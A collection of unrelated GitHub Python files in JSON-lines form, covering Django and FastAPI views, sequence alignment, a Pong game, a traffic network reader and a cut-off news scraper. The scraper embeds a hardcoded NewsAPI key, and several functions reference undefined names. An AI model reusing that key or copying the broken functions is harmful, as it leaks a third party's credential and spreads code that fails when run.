update_item_order(newvalue, id):\n\treorder_items(newvalue)\n\titem = Item.objects.filter(id=id)\n\titem.update(ordernumber=newvalue)\n\ndef reorder_items(i):\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tfor item in items:\n\t\titem.update(ordernumber = F('ordernumber') + 1)\n\ndef item_mapper(rawItem):\n\titem = {}\n\titem['id'] = rawItem.id\n\titem['name'] = rawItem.name\n\titem['done'] = rawItem.done\n\treturn item","repo_name":"andreasastrom/mysocialclub","sub_path":"hello/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27589884887","text":"# -*- coding: utf-8 -*-\n\nimport asyncio\nimport traceback\nfrom datetime import datetime\nfrom typing import List\n\nfrom fastapi import APIRouter, Request, WebSocket\nfrom starlette.responses import HTMLResponse\n\nfrom current_log.RedisClient import RedisClient\n\nlog_router = APIRouter()\n\nhtml = \"\"\"\n\n\n \n \n 实时日志\n \n \n

实时日志

\n
\n \n \n\"\"\"\n\nredis_client = RedisClient()\n\n\nclass ConnectionManager:\n def __init__(self):\n self.active_connections: List[WebSocket] = []\n\n async def broadcast(self, system_name):\n while True:\n message = redis_client.lpop(system_name)\n if message:\n # await asyncio.gather(\n # *[ws.send_text(message) for ws in self.active_connections],\n # return_exceptions=False,\n # )\n for ws in self.active_connections:\n try:\n await ws.send_text(message)\n except:\n pass\n await asyncio.sleep(0.2)\n\n def start_broadcast(self, system_name):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n asyncio.get_event_loop().run_until_complete(manager.broadcast(system_name))\n # asyncio.get_event_loop().run_forever()\n\n\nmanager = ConnectionManager()\n\n\n@log_router.get(path='/logs')\ndef get_log(request: Request):\n try:\n run_host = str(request.url.netloc)\n user = datetime.now().strftime('%f')\n user_html = html\n user_html = user_html.format(host=run_host, user=user)\n return HTMLResponse(user_html)\n except:\n return {\"error\": traceback.format_exc()}\n\n\n@log_router.websocket(path=\"/log_connect/{user}\")\nasync def broadcast_log_redis(ws: WebSocket, user: str):\n await ws.accept()\n manager.active_connections.append(ws)\n try:\n while True:\n await ws.receive_text()\n await ws.send_text(\"pong\")\n except:\n pass\n finally:\n manager.active_connections.remove(ws)\n\n\n@log_router.get(path=\"/start_generate_log/{system_name}\")\ndef start_generate_log(system_name: str):\n import threading\n threading.Thread(target=manager.start_broadcast, args=(system_name,)).start()\n return {\"message\": \"success\"}\n\n\n@log_router.get(path='/')\ndef test():\n print(\"测试\")\n return {\"message\": \"aaaa\"}\n","repo_name":"cooldowntime/curentlog","sub_path":"current_log/current_log_router.py","file_name":"current_log_router.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13883538647","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nimport datetime\n\n\n# Create your views here.\n@api_view()\ndef get_detail(request):\n\n slack_name = request.GET.get('slack_name', None)\n\n track = request.GET.get('track', None)\n\n current_date = datetime.date.today()\n\n\n \n # Get the current UTC time\n current_utc_time = datetime.datetime.utcnow()\n\n # Define a time range of +/- 2 hours\n time_range = datetime.timedelta(hours=2)\n\n # Calculate the minimum and maximum allowed times\n min_time = current_utc_time - time_range\n max_time = current_utc_time + time_range\n\n # Get the current UTC time as a string\n min_time_str = min_time.strftime('%Y-%m-%d %H:%M:%S')\n max_time_str = max_time.strftime('%Y-%m-%d %H:%M:%S')\n\n# Get the name of the day of the week\n day_of_week = current_date.strftime('%A')\n\n detail = { \n \"slack_name\": slack_name,\n \"current_days\": day_of_week,\n \"utc_time\": \"Min. =>\"+ min_time_str + \" - Man =>\" + max_time_str,\n \"track\": track,\n \"github_file_url\": \"https://github.com/hussain4me/zuri-first-assignment/blob/main/api/views.py\",\n \"github_repo_url\": \"https://github.com/hussain4me/zuri-first-assignment\",\n \"status_code\": 200\n }\n\n return Response(detail)\n","repo_name":"hussain4me/zuri-first-assignment","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14461442187","text":"import tensorflow as tf\nimport helper\n \nmodel = tf.keras.models.load_model(\"pets\")\n\nwhile True:\n url = input(\"Please enter an image url:\")\n try:\n image = tf.keras.utils.get_file(origin=url)\n image = tf.keras.utils.load_img(image)\n break\n except:\n print(\"That is not a valid link\")\n\nhelper.show_predictions(url, model)","repo_name":"Powerlax/ImageSegmentation","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31564645195","text":"import sys\nfrom turtle import back\nfrom load import *\n\n# this function creates a 2D matrix with pre-determined scores for certain rows\ndef scoreMatrix(x, y, score):\n matrix = [[0] * (len(y)+1) for i in range(len(x)+1)]\n for i in range(len(x)+1):\n matrix[i][0] = i * score\n for j in range(len(y)+1):\n matrix[0][j] = j * score\n return matrix\n\n# this function creates a 2D matrix to backtrack previous locations\ndef backMatrix(x, y):\n matrix = [[0] * (len(y)+1) for i in range(len(x)+1)]\n for i in range(len(x)+1):\n matrix[i][0] = \"up\"\n for j in range(len(y)+1):\n matrix[0][j] = \"left\"\n matrix[0][0] = 0\n return matrix\n\n# this function decides which score to use for DNA scoring\ndef DNAscore(match, mismatch, seq1, seq2):\n if seq1 == seq2:\n return match\n else: \n return mismatch\n\n# this function calculates identities between 2 sequences\ndef identities(seq1, seq2):\n total = len(seq1)\n count = 0\n for i in range(len(seq1)):\n if seq1[i] == seq2[i]:\n count += 1\n \n num = str(count) + \"/\" + str(total)\n percent = \"(\" + str(int(count/total * 100)) + \"%)\"\n return num + \" \" + percent\n\n# this function takes 2 DNA sequences and use global alignment to decide the optimal score\ndef DNAglobal(scores, seq1, seq2):\n\n # get scores from the dnaMatrix file\n matchScore = scores.get(\"match score\")\n mismatchScore = scores.get(\"mismatch score\")\n gapPenalty = scores.get(\"gap penalty\")\n\n # create a 2D matrix using list of list and fill in the basic gap penalties \n matrix = scoreMatrix(seq1, seq2, gapPenalty)\n\n # create another 2D matrix to save the information for backtracking\n backtrack = backMatrix(seq1, seq2)\n\n # fill in all the scores and backtracking info\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + DNAscore(matchScore, mismatchScore, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function takes 2 DNA sequences and use semi-global alignment to decide the optimal score\ndef DNAsemi_global(scores, seq1, seq2):\n\n # get scores from the dnaMatrix file\n matchScore = scores.get(\"match score\")\n mismatchScore = scores.get(\"mismatch score\")\n gapPenalty = scores.get(\"gap penalty\")\n\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + DNAscore(matchScore, mismatchScore, seq1[i-1], seq2[j-1])\n\n if i == len(seq1):\n left = matrix[i][j-1]\n else:\n left = matrix[i][j-1] + gapPenalty\n\n if j == len(seq2):\n up = matrix[i-1][j]\n else:\n up = matrix[i-1][j] + gapPenalty\n \n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n \n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function takes 2 DNA sequences and uses local alignment to decide the optimal score\ndef DNAlocal(scores, seq1, seq2):\n matchScore = scores.get(\"match score\")\n mismatchScore = scores.get(\"mismatch score\")\n gapPenalty = scores.get(\"gap penalty\")\n\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n max_score = 0\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + DNAscore(matchScore, mismatchScore, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n if matrix[i][j] < 0:\n matrix[i][j] = 0\n\n if matrix[i][j] > max_score:\n max_score = matrix[i][j]\n max_index = [i,j]\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score, max_score, max_index, matrix\n\n# this function uses backtracking info to create new aligned sequences\ndef aligned(seq1, seq2, src, type):\n l1 = len(seq1)\n l2 = len(seq2)\n back_matrix = src[0]\n s1 = \"\"\n s2 = \"\"\n \n if type == \"G\" or type == \"S\":\n score = src[1]\n while (l1 > 0 or l2 > 0):\n if back_matrix[l1][l2] == \"diagonal\":\n s1 = seq1[l1-1] + s1\n s2 = seq2[l2-1] + s2\n l1 -= 1\n l2 -= 1\n elif back_matrix[l1][l2] == \"left\":\n s1 = \"-\" + s1\n s2 = seq2[l2-1] + s2\n l2 -= 1\n else:\n s1 = seq1[l1-1] + s1\n s2 = \"-\" + s2\n l1 -= 1\n else:\n score = src[2]\n max_start = src[3]\n l1 = max_start[0]\n l2 = max_start[1]\n score_matrix = src[4]\n while (score_matrix[l1][l2] != 0):\n if back_matrix[l1][l2] == \"diagonal\":\n s1 = seq1[l1-1] + s1\n s2 = seq2[l2-1] + s2\n l1 -= 1\n l2 -= 1\n elif back_matrix[l1][l2] == \"left\":\n s1 = \"-\" + s1\n s2 = seq2[l2-1] + s2\n l2 -= 1\n else:\n s1 = seq1[l1-1] + s1\n s2 = \"-\" + s2\n l1 -= 1\n \n return s1, s2, score, l1, l2\n\n# this function determines which score to use from the BLOSUM file\ndef proteinScore(blosum, seq1, seq2):\n score = blosum.get(seq1).get(seq2)\n return score\n\n# this function creates a scoring matrix using global alignment for 2 protein sequences\ndef proteinGlobal(scores, seq1, seq2):\n gapPenalty = scores.get(\"gap penalty\")\n matrix = scoreMatrix(seq1, seq2, gapPenalty)\n backtrack = backMatrix(seq1, seq2)\n \n # fill in all the scores and backtracking info\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + proteinScore(scores, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function creates a scoring matrix using semi-global alignment for 2 protein sequences\ndef proteinSemi_global(scores, seq1, seq2):\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n gapPenalty = scores.get(\"gap penalty\")\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + proteinScore(scores, seq1[i-1], seq2[j-1])\n\n if i == len(seq1):\n left = matrix[i][j-1]\n else:\n left = matrix[i][j-1] + gapPenalty\n\n if j == len(seq2):\n up = matrix[i-1][j]\n else:\n up = matrix[i-1][j] + gapPenalty\n \n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n \n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function takes 2 DNA sequences and uses local alignment to decide the optimal score\ndef proteinLocal(scores, seq1, seq2):\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n gapPenalty = scores.get(\"gap penalty\")\n max_score = 0\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + proteinScore(scores, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n if matrix[i][j] < 0:\n matrix[i][j] = 0\n\n if matrix[i][j] > max_score:\n max_score = matrix[i][j]\n max_index = [i,j]\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score, max_score, max_index, matrix\n\n# this function deals with all command-line arguments and put them in an ordered list\ndef param(seq1, seq2, output, proseq, atype):\n argv = sys.argv[1:]\n pars = [\"-i\", \"-j\", \"-o\", \"-p\", \"-atype\"]\n alist = [seq1, seq2, output, proseq, atype]\n\n for i in range(len(argv)):\n for j in range(len(pars)):\n if argv[i] == pars[j]:\n try:\n argv[i+1]\n except IndexError:\n print(\"Missing argument after the last index \" + pars[j] + \". Can't run the program!\")\n else:\n if argv[i+1] not in pars:\n alist[j] = argv[i+1]\n\n for i in range(len(alist)):\n if alist[i] == \"\":\n print(\"Missing \" + pars[i] + \" or missing argument after \" + pars[i] + \". Can't run the program!\")\n return None\n if alist[3] != 'T' and alist[3] != 'F':\n print(\"Wrong argument, can't run the program! It should be either T or F after '-p'.\")\n return None\n break\n if alist[4] != 'G' and alist[4] != 'S' and alist[4] != 'L':\n print(\"Wrong argument, can't run the program! It should be either G or S after '-atype'.\")\n return None\n break\n\n return alist\n\ndef main():\n alist = param(None, None, None, None, None)\n # print(alist)\n i = loadSeq(alist[0])\n j = loadSeq(alist[1])\n output = alist[2]\n proseq = alist[3]\n atype = alist[4]\n\n if alist != None:\n fout = open(output, \"w\")\n fout.write(\"\\n \\n\")\n if proseq == \"F\":\n scoring = loadMatrix(\"dnaMatrix.txt\")\n if atype == \"G\":\n source = DNAglobal(scoring, i, j)\n elif atype == \"S\":\n source = DNAsemi_global(scoring, i, j)\n else:\n source = DNAlocal(scoring, i, j)\n else:\n scoring = loadBLOSUM(\"BLOSUM45.txt\")\n if atype == \"G\":\n source = proteinGlobal(scoring, i, j)\n elif atype == \"S\":\n source = proteinSemi_global(scoring, i, j)\n else: \n source = proteinLocal(scoring, i, j)\n\n result = aligned(i, j, source, atype)\n align1 = result[0]\n align2 = result[1]\n score = str(result[2])\n if atype == \"G\" or atype == \"S\":\n fout.write(\"seq1: \" + str(1) + \" \" + align1 + \" \" + str(len(i)) + \"\\n\")\n fout.write(\"\\n\")\n fout.write(\"seq2: \" + str(1) + \" \" + align2 + \" \" + str(len(j)) + \"\\n\") \n else:\n last_idx = source[3]\n fout.write(\"seq1: \" + str(result[3]+1) + \" \" + align1 + \" \" + str(last_idx[0]+1) + \"\\n\")\n fout.write(\"\\n\")\n fout.write(\"seq2: \" + str(result[4]+1) + \" \" + align2 + \" \" + str(last_idx[1]+1) + \"\\n\") \n fout.write(\"\\n\")\n fout.write(\"Score: \" + score + \"\\n\")\n fout.write(\"Identities: \" + identities(align1, align2) + \"\\n\")\n fout.close()\nmain()","repo_name":"ninavu/pairwise_alignment","sub_path":"align.py","file_name":"align.py","file_ext":"py","file_size_in_byte":12452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71211003149","text":"# cook your dish here\ntry:\n import math as mt\n def great(a,b):\n if(a>=b):\n return a\n else:\n return b\n t=int(input())\n while(t):\n a,b=map(int,input().split())\n g=great(a,b)\n power=int((mt.log(g)/mt.log(2)))+1\n mx=a^b\n \n rotation=0\n mx_rotation=0\n for i in range(1,power):\n end=b&1\n b=b>>1\n b=b|int((end*(2**(power-1))))\n rotation+=1\n if((a^b)>mx):\n mx=a^b\n mx_rotation=rotation\n # print(power)\n # print(mx)\n print(mx_rotation,mx)\n t-=1\nexcept:\n pass\n","repo_name":"iamvedant/Campus-Chapters-1.0","sub_path":"Another Game Of Numbers (GAMENUM).py","file_name":"Another Game Of Numbers (GAMENUM).py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32624230813","text":"import turtle\nfrom turtle import Turtle, Screen\n\n\nclass LeftPaddle(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.setpos(-400, 0)\n\t\tself.setheading(90)\n\t\tself.speed(0)\n\t\tself.color(61, 84, 103)\n\t\tself.shape(\"square\")\n\t\tself.shapesize(0.8, 4)\n\t\tself.score = 0\n\n\tdef up(self):\n\t\tif self.ycor() < 290:\n\t\t\tself.setheading(90)\n\t\t\tself.forward(20)\n\n\tdef down(self):\n\t\tif self.ycor() > -290:\n\t\t\tself.setheading(270)\n\t\t\tself.forward(20)\n\n\nclass RightPaddle(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.setpos(400, 0)\n\t\tself.setheading(90)\n\t\tself.speed(0)\n\t\tself.color(61, 84, 103)\n\t\tself.shape(\"square\")\n\t\tself.shapesize(0.8, 4)\n\t\tself.score=0\n\n\tdef up(self):\n\t\tif self.ycor() < 290:\n\t\t\tself.setheading(90)\n\t\t\tself.forward(20)\n\n\tdef down(self):\n\t\tif self.ycor() > -290:\n\t\t\tself.setheading(270)\n\t\t\tself.forward(20)\n\n\nclass Ball(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.shape(\"circle\")\n\t\tself.speed(8)\n\t\tself.dx = 10\n\t\tself.dy = 10\n\n\tdef move(self):\n\t\tself.goto((self.xcor() + self.dx), (self.ycor() + self.dy))\n\n\tdef reset(self):\n\t\tself.goto(0, 0)\n\n\nclass ScoreBoard(Turtle):\n\tdef __init__(self, player, score, cord):\n\t\tsuper().__init__()\n\t\tself.player = player\n\t\tself.cord = cord\n\t\tself.score = score\n\t\tself.penup()\n\t\tself.hideturtle()\n\t\tself.goto(cord)\n\t\tself.color(219, 84, 97)\n\t\tself.write(f\"{self.player}: {self.score}\", True, align=\"center\", font=(\"Arial\", 30, \"normal\"))\n\n\nclass HalfCourt(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.setheading(90)\n\t\tself.color(138, 162, 158)\n\t\tself.shape(\"square\")\n\t\tself.shapesize(0.5, 1)\n","repo_name":"xalxnder/pong","sub_path":"pong_classes.py","file_name":"pong_classes.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14372327952","text":"import csv\nimport operator\nfrom random import choice\n\nfrom .classes import Node, Link, Network, Agent\n\n\ndef read_nodes(input_dir, node_list, internal_node_seq_no_dict,\n external_node_id_dict, zone_to_nodes_dict):\n \"\"\" step 1: read input_node \"\"\"\n with open(input_dir+'/node.csv', 'r', encoding='utf-8') as fp:\n reader = csv.DictReader(fp)\n node_seq_no = 0\n for line in reader:\n node = Node(node_seq_no, line['node_id'], line['zone_id'])\n node_list.append(node)\n internal_node_seq_no_dict[node.external_node_id] = node_seq_no\n external_node_id_dict[node_seq_no] = node.external_node_id\n if node.zone_id not in zone_to_nodes_dict.keys():\n zone_to_nodes_dict[int(node.zone_id)] = list()\n zone_to_nodes_dict[int(node.zone_id)].append(\n node.external_node_id\n )\n else:\n zone_to_nodes_dict[int(node.zone_id)].append(\n node.external_node_id\n )\n node_seq_no += 1\n print('the number of nodes is', node_seq_no)\n fp.close()\n\n\ndef read_links(input_dir, link_list, node_list, internal_node_seq_no_dict):\n \"\"\" step 2: read input_link \"\"\"\n with open(input_dir+'/link.csv', 'r', encoding='utf-8') as fp:\n reader = csv.DictReader(fp)\n link_seq_no = 0\n for line in reader:\n from_node_no = internal_node_seq_no_dict[int(line['from_node_id'])]\n to_node_no = internal_node_seq_no_dict[int(line['to_node_id'])]\n link = Link(link_seq_no, \n from_node_no, \n to_node_no,\n int(line['from_node_id']),\n int(line['to_node_id']),\n line['length'],\n line['lanes'],\n line['free_speed'],\n line['capacity'],\n line['link_type'],\n line['VDF_alpha1'],\n line['VDF_beta1'])\n node_list[link.from_node_seq_no].outgoing_link_list.append(link)\n node_list[link.to_node_seq_no].incoming_link_list.append(link)\n link_list.append(link)\n link_seq_no += 1\n print('the number of links is', link_seq_no)\n fp.close()\n \n\ndef read_agents(input_dir,\n agent_list,\n agent_td_list_dict,\n zone_to_nodes_dict):\n \"\"\" step 3:read input_agent \"\"\"\n with open(input_dir+'/demand.csv', 'r', encoding='utf-8') as fp:\n reader = csv.DictReader(fp)\n agent_id = 1\n agent_type = 'v'\n agent_seq_no = 0\n for line in reader:\n volume = line['volume']\n volume_agent_size = int(float(volume) + 1)\n \n # only test up to 10k\n if agent_id >= 10000 :\n break \n \n for i in range(volume_agent_size):\n agent = Agent(agent_id,\n agent_seq_no,\n agent_type,\n line['o_zone_id'], \n line['d_zone_id'])\n\n # step 3.1 generate o_node_id and d_node_id randomly according \n # to o_zone_id and d_zone_id \n if zone_to_nodes_dict.get(agent.o_zone_id, -1) == -1 : \n continue\n if zone_to_nodes_dict.get(agent.d_zone_id, -1) == -1 : \n continue \n \n agent.o_node_id = choice(zone_to_nodes_dict[agent.o_zone_id])\n agent.d_node_id = choice(zone_to_nodes_dict[agent.d_zone_id])\n \n # step 3.2 update agent_id and agent_seq_no\n agent_id += 1\n agent_seq_no += 1 \n\n # step 3.3: update the g_simulation_start_time_in_min and \n # g_simulation_end_time_in_min \n if agent.departure_time_in_min < g_simulation_start_time_in_min:\n g_simulation_start_time_in_min = agent.departure_time_in_min\n if agent.departure_time_in_min > g_simulation_end_time_in_min:\n g_simulation_end_time_in_min = agent.departure_time_in_min\n\n #step 3.4: add the agent to the time dependent agent list \n if agent.departure_time_in_simu_interval not in agent_td_list_dict.keys():\n agent_td_list_dict[agent.departure_time_in_simu_interval] = list()\n agent_td_list_dict[agent.departure_time_in_simu_interval].append(agent.agent_seq_no)\n else:\n agent_td_list_dict[agent.departure_time_in_simu_interval].append(agent.agent_seq_no)\n agent_list.append(agent)\n\n print('the number of agents is', len(agent_list))\n\n #step 3.6:sort agents by the departure time\n sort_fun = operator.attrgetter(\"departure_time_in_min\")\n agent_list.sort(key=sort_fun)\n for i, agent in enumerate(agent_list):\n agent.agent_seq_no = i\n\n\ndef read_network(input_dir='./'):\n network = Network()\n\n read_nodes(input_dir,\n network.node_list,\n network.internal_node_seq_no_dict,\n network.external_node_id_dict,\n network.zone_to_nodes_dict)\n\n read_links(input_dir, \n network.link_list,\n network.node_list,\n network.internal_node_seq_no_dict)\n\n read_agents(input_dir,\n network.agent_list,\n network.agent_td_list_dict,\n network.zone_to_nodes_dict)\n\n network.update()\n\n return network","repo_name":"asu-trans-ai-lab/Path4GMNS","sub_path":"path4gmns/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"24251040917","text":"\"\"\" Introduction to the Python Protocol \"\"\"\n\n# Suppose you have a function that calculates the total value of a product list, \n# where each product has the name, quantity, and price attributes:\nfrom typing import List\nclass Product:\n def __init__(self, name, quantity, price):\n self.name = name\n self.quantity = quantity\n self.price = price\n\ndef calculate_total(items: List[Product]) -> int:\n return sum([prod.quantity * prod.price for prod in items])\n\nitems = [\n Product('Mouse', 2, 250),\n Product('Keyboard', 3, 550)\n]\n\nprint(calculate_total(items))\n\n# In this example, the calculate_total() function accepts a list of Product objects and \n# returns the total value.\n\n# When writing this function, you may want to calculate the total of a product list. But you \n# likely want to use it for other lists such as inventory lists in the future.\n\n# If you look closely at the calculate_total() function, it only uses the quantity and price \n# attributes.\n\n# To make the calculate_total() more dynamic while leveraging type hints, you can use the \n# Protocol from the typing module. The Protocol class has been available since Python 3.8, \n# described in PEP 544.\n\nfrom pprint import pprint\nfrom typing import Protocol\n# First, define an Item class that inherits from the Protocol with two \n# attributes: quantity and price:\nclass Item(Protocol):\n quantity: int\n price: float\n\nclass Product:\n def __init__(self, name, quantity, price):\n self.name = name\n self.quantity = quantity\n self.price = price\n\nclass Inventory:\n def __init__(self, name, quantity, price):\n self.name = name\n self.quantity = quantity\n self.price = price\n\n# Second, change the calculate_total() function that accepts a list of Item objects \n# instead of a list of Product objects:\ndef calculate_total(items: List[Item]):\n return sum([item.quantity * item.price for item in items])\n\n# By doing this, you can pass any list of Item objects to the calculate_total() function \n# with the condition that each item has two attributes quantity and price.\ntotal = calculate_total([\n Product('Keyboard', 2, 800),\n Product('Mouse', 3, 250)\n])\nprint(total)\n\ntotal = calculate_total([\n Inventory('Food', 25, 150),\n Inventory('Stones', 150, 250)\n])\nprint(total)\n\n# In this example, the Product and Inventory class don’t need to subclass the Item \n# class but still can be used in the calculate_total() function.\n\n# This is called duck typing in Python. In duck typing, the behaviors and properties of an \n# object determine the object type, not the explicit type of the object.\n\n# For example, an object with the quantity and price will follow the Item protocol, \n# regardless of its explicit type.\n\n\"\"\" Summary \"\"\"\n# Use Python Protocol to define implicit interfaces.\n\n","repo_name":"Engr-Asad-Hussain/oop","sub_path":"single_inheritance/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40581670455","text":"import os\nimport random\n\n\ndef search_file(directory, file, list_p):\n\n for i_elem in os.listdir(directory):\n path = os.path.join(directory, i_elem)\n if file == i_elem:\n list_p.append(path)\n elif os.path.isdir(path):\n search_file(path, file, list_p)\n\n return list_p\n\n\nlist_paths = list()\nmy_dir = 'Skillbox'\ndir_path = os.path.abspath(os.path.join('..', '..', '..', my_dir))\n\nprint('Ищем в: ', dir_path)\nfile_name = input('Имя файла: ')\n\n\nresult = search_file(dir_path, file_name, list_paths)\n\nif not result:\n print('Указанный файл в системе не найден.')\nelse:\n print('Найдены следующие пути:')\n for i_path in result:\n print(i_path)\n\nrandom_file = random.choice(result)\n\nfile = open(random_file, 'r', encoding='utf-8')\n\nprint('Вывод случайного файла из найденных, его путь', random_file)\nfor i_line in file:\n print(i_line, end='')\n\n","repo_name":"surma623/Module-Skillbox","sub_path":"22.3.2.py","file_name":"22.3.2.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12559472397","text":"import sys\r\nimport heapq\r\n\r\ninput = sys.stdin.readline\r\nn, k = map(int, input().split())\r\njewel_data = [tuple(map(int, input().split())) for _ in range(n)]\r\nbag_data = [int(input()) for _ in range(k)]\r\n\r\njewel_data.sort(reverse=True)\r\nbag_data.sort()\r\n\r\nh = []\r\n\r\nresult = 0\r\nfor c in bag_data:\r\n while jewel_data and jewel_data[-1][0] <= c:\r\n jewel = jewel_data.pop()\r\n heapq.heappush(h, -jewel[1])\r\n if h:\r\n result += -heapq.heappop(h)\r\n\r\nprint(result)","repo_name":"Charmull/Algorithm_Python","sub_path":"백준/Gold/1202. 보석 도둑/보석 도둑.py","file_name":"보석 도둑.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25864527041","text":"import pymongo\nfrom pymongo import MongoClient\nimport requests\nfrom bs4 import BeautifulSoup as soup\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup as BS\nimport re\n\nc = MongoClient()\ndb=c[\"mydatabase\"]\narticle = db.articles\n\ndef insertIntoDB(date,title, content, source, url):\n post_Data ={'date': date, 'title':title,'content':content,'source':source,'url':url,'score':'NA'}\n \"\"\"if(article.find({'title':title,'date':date,'source':source}).count()>0):\n print(\"already present\")\n else:\"\"\"\n result = article.insert_one(post_Data)\n\ndef updateScore():\n article.find({'score':'NA'})\n\t\ndef getGoodNetworkNews():\n url = 'https://www.goodnewsnetwork.org/'\n html = requests.get(url)\n soup = BS(html.text)\n table = soup.find_all('h3',{'class':\"entry-title td-module-title\"})\n for i in table:\n k=i.find('a')['href']\n #print(\"url\",k)\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n browser.get(k)\n html = browser.page_source\n soup = BS(html, 'html.parser')\n time = soup.find('time')\n #print(time.string)\n try:\n title_article=soup.find('h1',{'class':\"entry-title\"})\n #print(\"TITLE\",title_article.string)\n para = soup.find('div',{'class':'td-post-content'}).find_all('p')\n content=''\n for i in para:\n #if not(i.string is None):\n content=content+i.string\n insertIntoDB(time.string,title_article.string, content, \"Good\", content)\n except:\n print(\"removing video articles\") #article\n\t\t\t\ndef newsFromGuardian():\n main_url = \"https://newsapi.org/v2/everything?sources=the-guardian-uk&apiKey=fa6d77b861bc48c2a4bfd93ef6ceaeba\"\n open_bbc_page = requests.get(main_url).json()\n article = open_bbc_page[\"articles\"]\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n try:\n for ar in article:\n 